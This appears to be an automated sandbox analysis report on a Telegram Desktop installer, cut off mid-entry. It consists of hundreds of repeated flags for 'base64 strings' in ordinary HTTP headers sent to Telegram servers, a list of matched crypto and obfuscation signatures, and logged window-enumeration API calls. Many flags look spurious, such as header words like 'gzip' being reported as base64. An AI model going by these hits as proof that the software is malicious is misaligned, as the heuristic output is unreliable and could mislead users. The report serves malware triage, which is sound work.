HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 180Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 480Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 452Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 456Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 536Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 280Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 392Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "telegram" in header "GET /current4 HTTP/1.1Host: td.telegram.orgConnection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "GET /current4 HTTP/1.1Host: td.telegram.orgConnection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "GET /current4 HTTP/1.1Host: td.telegram.orgConnection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "GET /current4 HTTP/1.1Host: td.telegram.orgConnection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "GET /current4 HTTP/1.1Host: td.telegram.orgConnection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "GET /current4 HTTP/1.1Host: td.telegram.orgConnection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 540Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 328Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 120Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "44Connection" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 252Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0"2e:T4a2,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: PCAP contains base64 strings Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms2f:T402,"tsetup-x64.7.0.2.tmp" called "EnumWindows" with parameter "1963760" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "EnumWindows" with parameter "1960928" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "EnumWindows" with parameter "1960680" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "EnumWindows" with parameter "1964000" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "EnumWindows" with parameter "1958544" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "EnumWindows" with parameter "525112" - (UID: 00000000-00007736) "Telegram.exe" called "EnumWindows" with parameter "433995102736" - (UID: 00000000-00001040) "Telegram.exe" called "EnumWindows" with parameter "819385842928" - (UID: 00000000-00007280) "D5rra.tmp" called "EnumWindows" with parameter "11530368" - (UID: 00000000-00002688) "D5rra.tmp" called "EnumWindows" with parameter "852674" - (UID: 00000000-00002688) "D5rra.tmp" called "EnumWindows" with parameter "11531496" - (UID: 00000000-00002688)30:T788,"tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Select the language to use during the installation." - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "4f004b00" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Cancel" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Select Destination Location" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Where should Telegram Desktop be installed?" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Setup will install Telegram Desktop into the following folder." - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "To continue, click Next. If you would like to select a different folder, click Browse." - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "B&rowse..." - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "At least 212.5 MB of free disk space is required." - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "&Next" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Select Start Menu Folder" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter "Where should Setup place the program's shortcuts?" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "GetWindowTextW" with parameter 